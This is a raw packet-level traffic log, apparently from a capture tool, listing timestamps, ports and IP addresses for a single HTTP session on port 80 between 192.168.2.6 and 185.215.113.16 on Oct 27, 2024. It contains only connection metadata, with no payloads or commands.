Oct 27, 2024 07:59:20.927057981 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.927057981 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.927057981 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.927191973 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.927202940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.927249908 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.998568058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998584032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998719931 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.998766899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998778105 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998796940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998826027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998833895 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.998836994 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998857975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998873949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998881102 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.998888969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998902082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.998920918 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.998939037 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.999053001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999063969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999075890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999103069 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.999161959 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.999464035 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999475956 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999485970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999589920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.999603987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999659061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999669075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999681950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999691963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999702930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999722958 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.999722958 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.999741077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999747992 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.999754906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.999804020 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.000127077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.000137091 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.000193119 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.000220060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.000251055 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.000262976 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.000269890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.000281096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.000338078 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.000533104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.000545025 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.000555992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.000576973 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.000634909 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.040844917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.040858984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.040869951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.040924072 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.042675972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042689085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042700052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042711973 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042723894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042735100 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042747974 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.042747974 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.042752981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042768955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042782068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042793036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042803049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042815924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.042828083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.042841911 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.042841911 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.042854071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.086215973 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.086227894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.086234093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.086285114 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.086302042 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.113732100 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.113775969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.113791943 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.113886118 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.113922119 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.113931894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.113974094 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.114165068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114182949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114219904 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.114252090 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114273071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114283085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114294052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114304066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114473104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.114473104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.114473104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.114706993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114798069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114815950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114828110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114839077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114850044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.114856958 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.114959002 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.115056992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.115068913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.115078926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.115112066 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.115195990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.115206957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.115219116 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.115294933 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.115307093 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.115329027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.117938995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.117974997 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.117995977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.118004084 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.118006945 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.118047953 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.118060112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.118069887 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.118082047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.118236065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.118236065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.118236065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.155179024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.155189991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.155204058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.155343056 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.155344009 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.156883001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.156893969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.156903982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.156913996 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.156927109 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.156953096 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.156965017 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.157404900 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.157417059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.157428026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.157444000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.157460928 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.157505035 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.157566071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.157601118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.157620907 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.201456070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.201467991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.201494932 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.201530933 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.201548100 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.229028940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229042053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229052067 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229154110 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.229176998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229211092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229232073 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.229240894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229258060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229304075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.229331970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229342937 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229355097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229401112 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.229427099 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.229473114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229509115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229521036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229563951 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.229964972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229976892 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.229985952 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230043888 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230043888 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230063915 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230088949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230129957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230148077 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230173111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230184078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230247021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230318069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230329037 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230339050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230437994 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230437994 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230448961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230593920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230603933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230614901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230650902 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230669022 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230745077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230775118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230838060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230850935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230859995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230871916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230886936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230896950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.230912924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230912924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230912924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.230998993 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.270373106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.270385027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.270395994 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.270423889 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.272005081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272017002 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272030115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272052050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.272059917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272070885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272082090 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272088051 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.272140026 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.272835970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272846937 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272859097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272869110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.272883892 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.272943974 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.314445972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.314485073 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.314510107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.314657927 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.316713095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.316746950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.316757917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.316766977 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.316834927 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.344297886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344403982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344444990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344475985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344486952 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344496012 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344542980 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.344542980 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.344753027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344763994 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344774008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344784021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344795942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344804049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.344819069 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.344891071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.344891071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.345202923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345213890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345223904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345263004 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345294952 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.345304012 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.345304012 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345318079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345330000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345432997 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.345550060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345566988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345590115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345597982 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.345602036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345658064 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.345777035 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345788002 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345815897 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.345824003 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345861912 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.345865011 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345877886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345887899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345897913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345911980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.345920086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.346025944 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.346025944 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.346025944 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.346398115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.347376108 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.347429037 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.385621071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.385634899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.385652065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.385690928 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.385716915 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.385731936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.385811090 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.387181044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.387233973 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.387248993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.387304068 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.387304068 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.387310982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.387327909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.387337923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.387413025 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.388103008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.388114929 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.388123989 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.388185978 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.388199091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.429572105 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.429600000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.429704905 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.429733992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.429743052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.429780006 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.431965113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.431977987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.431987047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.432079077 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.459511995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459553957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459564924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459574938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459590912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459592104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.459605932 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.459628105 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.459631920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459661961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459748983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459799051 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.459839106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459849119 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459858894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459906101 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.459924936 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.459959030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.459970951 CET	80	49750	185.215.113.16	192.168.2.6
